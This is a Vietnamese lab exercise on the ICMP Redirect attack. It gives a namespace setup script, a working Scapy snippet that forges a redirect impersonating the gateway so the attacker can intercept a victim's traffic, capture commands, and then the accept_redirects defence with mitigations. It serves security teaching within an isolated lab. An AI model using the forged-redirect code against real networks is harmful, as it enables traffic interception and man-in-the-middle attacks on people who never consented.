BÀI THỰC HÀNH 05

Kỹ thuật tấn công ICMP Redirect Attack

ICMP Redirect Attack — Route Hijacking / MITM

Thời lượng	100 phút
Mức độ	Trung bình
Môi trường	1 VM Kali Linux · ip netns + bridge + 1 router ảo
Công cụ	Scapy, tcpdump, iproute2

⚠ Bài thực hành chỉ được thực hiện trong môi trường phòng lab cô lập (máy ảo + network namespace trên chính máy của bạn). Mọi kỹ thuật ở đây thuộc nhóm tấn công mạng; việc áp dụng lên hệ thống/mạng không thuộc quyền sở hữu hoặc không được cho phép bằng văn bản là VI PHẠM PHÁP LUẬT (Luật An ninh mạng 2018 — Luật số 24/2018/QH14, và Bộ luật Hình sự). Mục tiêu học tập là hiểu cơ chế để phòng thủ (defensive security).

Mục tiêu bài học

- Hiểu thông điệp **ICMP Redirect (type 5)** và cách host cập nhật bảng định tuyến khi nhận nó.
- Giả mạo gói ICMP Redirect để **ép nạn nhân định tuyến qua máy tấn công** (man-in-the-middle).
- Quan sát route cache của nạn nhân thay đổi; sau đó bật phòng thủ `accept_redirects=0`.

Kiến thức nền tối thiểu

- Router dùng ICMP Redirect để báo host rằng có đường đi tốt hơn tới một đích ⇒host cập nhật route.
- Nếu host chấp nhận redirect giả, attacker có thể chèn mình vào đường đi (MITM).
- Để được chấp nhận, redirect phải (giả) đến từ gateway hiện tại của đích đó.

1. Chuẩn bị môi trường

▸setup_redirect.sh — chạy: sudo bash setup_redirect.sh

```
#!/bin/bash
# setup_redirect.sh - LAN 10.0.0.0/24 (vic, gw, atk) + mang 10.0.1.0/24 sau GW (dst)
set -e
ip link add br0 type bridge; ip link set br0 up
add_host() { ns=$1; ipaddr=$2
  ip netns add $ns
  ip link add ${ns}0 type veth peer name ${ns}-br
  ip link set ${ns}-br master br0; ip link set ${ns}-br up
  ip link set ${ns}0 netns $ns
  ip netns exec $ns ip addr add ${ipaddr}/24 dev ${ns}0
  ip netns exec $ns ip link set ${ns}0 up; ip netns exec $ns ip link set lo up
}
add_host vic 10.0.0.2       # victim
add_host gw  10.0.0.1       # gateway hop phap (router)
add_host atk 10.0.0.66      # attacker (cung LAN)
# Lien ket GW <-> dst (mang 10.0.1.0/24 nam sau router)
ip netns add dst
ip link add gw-d type veth peer name d-gw
ip link set gw-d netns gw ; ip link set d-gw netns dst
ip netns exec gw  ip addr add 10.0.1.254/24 dev gw-d ; ip netns exec gw ip link set gw-d up
ip netns exec dst ip addr add 10.0.1.5/24  dev d-gw  ; ip netns exec dst ip link set d-gw up
```

```
ip netns exec dst ip link set lo up
# GW chuyen tiep, khong tu gui redirect (de chi attacker gia mao)
ip netns exec gw sysctl -w net.ipv4.ip_forward=1
ip netns exec gw sysctl -w net.ipv4.conf.all.send_redirects=0
# Dinh tuyen
ip netns exec vic ip route add default via 10.0.0.1
ip netns exec dst ip route add default via 10.0.1.254
# Victim chap nhan redirect (tai tao diem yeu)
for k in all vic0; do
  ip netns exec vic sysctl -w net.ipv4.conf.$k.accept_redirects=1
  ip netns exec vic sysctl -w net.ipv4.conf.$k.secure_redirects=0
done
echo "[+] Xong. Kiem tra victim -> 10.0.1.5 (qua GW):"
ip netns exec vic ping -c2 10.0.1.5
```

2. Các bước thực hành

Bước 2.1 — Ghi nhận đường đi ban đầu của nạn nhân

```
ip netns exec vic ip route get 10.0.1.5
```

✓**Kết quả mong đợi:** Kết quả cho thấy đường tới 10.0.1.5 đi "via 10.0.0.1" (gateway hợp pháp GW).

Bước 2.2 — Attacker mở quan sát lưu lượng bị chuyển hướng

▸*Terminal attacker — giữ chạy*

```
ip netns exec atk tcpdump -i atk0 -nn host 10.0.1.5
```

Bước 2.3 — Giả mạo ICMP Redirect

Tạo luồng để kích hoạt, rồi gửi redirect giả danh GW (.1) báo nạn nhân dùng gateway 10.0.0.66 (attacker):

```
# (a) Victim tao luu luong toi 10.0.1.5 de kernel co the ap dung redirect:
ip netns exec vic ping -c1 10.0.1.5
# (b) Attacker gui ICMP Redirect gia mao:
ip netns exec atk python3 - <<'EOF'
from scapy.all import *
orig  = IP(src="10.0.0.2", dst="10.0.1.5")/ICMP(id=1, seq=1)     # goi "goc" cua victim
redir = IP(src="10.0.0.1", dst="10.0.0.2") \
        /ICMP(type=5, code=1, gw="10.0.0.66")/orig               # type5 code1 = host redirect
send(redir, verbose=0)
print("Da gui ICMP Redirect gia mao -> ep victim dung gateway 10.0.0.66")
EOF
```

Bước 2.4 — Kiểm chứng bảng định tuyến đã bị sửa

```
ip netns exec vic ip route get 10.0.1.5
ip netns exec vic ip route show cache
# Tao them luu luong -> attacker se thay goi di qua .66
ip netns exec vic ping -c3 10.0.1.5
```

✓**Kết quả mong đợi:** ip route get 10.0.1.5 giờ hiển thị "via 10.0.0.66" (attacker). Terminal tcpdump của attacker bắt được lưu lượng nạn nhân gửi tới 10.0.1.5 ⇒attacker đã chèn vào đường đi (MITM).

Bước 2.5 — Bật phòng thủ

```
for k in all vic0; do
  ip netns exec vic sysctl -w net.ipv4.conf.$k.accept_redirects=0
done
ip netns exec vic ip route flush cache
# Gui lai redirect (Buoc 2.3b) -> victim BO QUA, route khong doi
```

✓**Kết quả mong đợi:** Với accept_redirects=0, nạn nhân bỏ qua redirect giả; "ip route get 10.0.1.5" vẫn đi qua GW hợp pháp.

Phòng chống (Mitigation)

- Đặt `net.ipv4.conf.all.accept_redirects = 0` trên host (và `send_redirects = 0` trên router không cần phát redirect).
- Bật `secure_redirects = 1` để chỉ chấp nhận redirect trỏ tới gateway đã biết.
- Dùng định tuyến tĩnh/được xác thực; phân đoạn mạng (VLAN) hạn chế attacker cùng broadcast domain.
- Giám sát ARP/ICMP bất thường; triển khai IDS phát hiện redirect giả mạo.

Câu hỏi ôn tập

1. Điều kiện nào để Linux chấp nhận một gói ICMP Redirect? Vì sao attacker phải đặt src = địa chỉ GW?
2. Vai trò của phần 'gói gốc' đính kèm trong thông điệp redirect là gì?
3. So sánh ICMP Redirect attack với ARP spoofing về mục tiêu và tầng hoạt động.
4. Giải thích khác biệt giữa `accept_redirects=0` và `secure_redirects=1`. Nên dùng cái nào cho máy trạm?

Tài liệu tham khảo

- RFC 792 — ICMP (Redirect Message).
- RFC 1122 — Requirements for Internet Hosts (xử lý redirect).
- Tài liệu kernel: Documentation/networking/ip-sysctl.txt.